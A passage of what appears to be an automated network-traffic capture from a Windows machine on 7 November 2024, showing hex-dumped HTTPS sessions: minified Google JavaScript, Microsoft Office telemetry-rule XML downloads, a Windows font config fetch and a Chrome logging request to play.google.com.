d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-07 16:25:28 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:28 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 51919511-a01e-0084-75de-2f9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-17df447cdb5lrwcchC1DFWphes00000004s0000000000xbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:28 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 12eeda2a-401e-00ac-598e-2d0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-15869dbbcc6xpvqthC1DFWq7d800000001vg000000009wky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:28 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: fdb02178-a01e-001e-0b60-2e49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-17df447cdb5km9skhC1DFWy2rc00000004pg00000000kk2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:28 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:28 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-16547b76f7fvllnfhC1DFWxkg800000008e000000000azrh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:28 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:28 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 659aa3e6-801e-008f-64d2-2c2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-16547b76f7fxsvjdhC1DFWprrs00000008ag000000009dyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:28 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49824	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-07 16:25:29 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=52753 Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-07 16:25:29 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49826	172.217.16.206	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 16:25:28 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 39 39 36 37 32 36 31 39 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730996726195",null,null,null,
2024-11-07 16:25:29 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=jHSwtUVPgFf9lJ8U75PnhhhHXM51SVHUGonlbPnQBu2-WIA2LkIF9PWB3tVBDnZI7Pwbx-Ha633UtCLt5XisShEkN8KhiyUPCroO0QbSQXAt0bm5zM6_disvEmQO5kcm0VqUE_WKq5W2nVB41Y_x1_2DcbUAPHipU_3gKYFH9g2bPQ3lJ5s; expires=Fri, 09-May-2025 16:25:29 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 07 Nov 2024 16:25:29 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 07 Nov 2024 16:25:29 GMT Connection: close Transfer-Encoding: chunked
2024-11-07 16:25:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-07 16:25:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:28 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 87c6e767-f01e-003c-4308-2c8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162528Z-16547b76f7fx6rhxhC1DFW76kg000000087g00000000u7dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:29 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:29 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:29 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162529Z-16547b76f7fcjqqhhC1DFWrrrc000000089g00000000nftd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
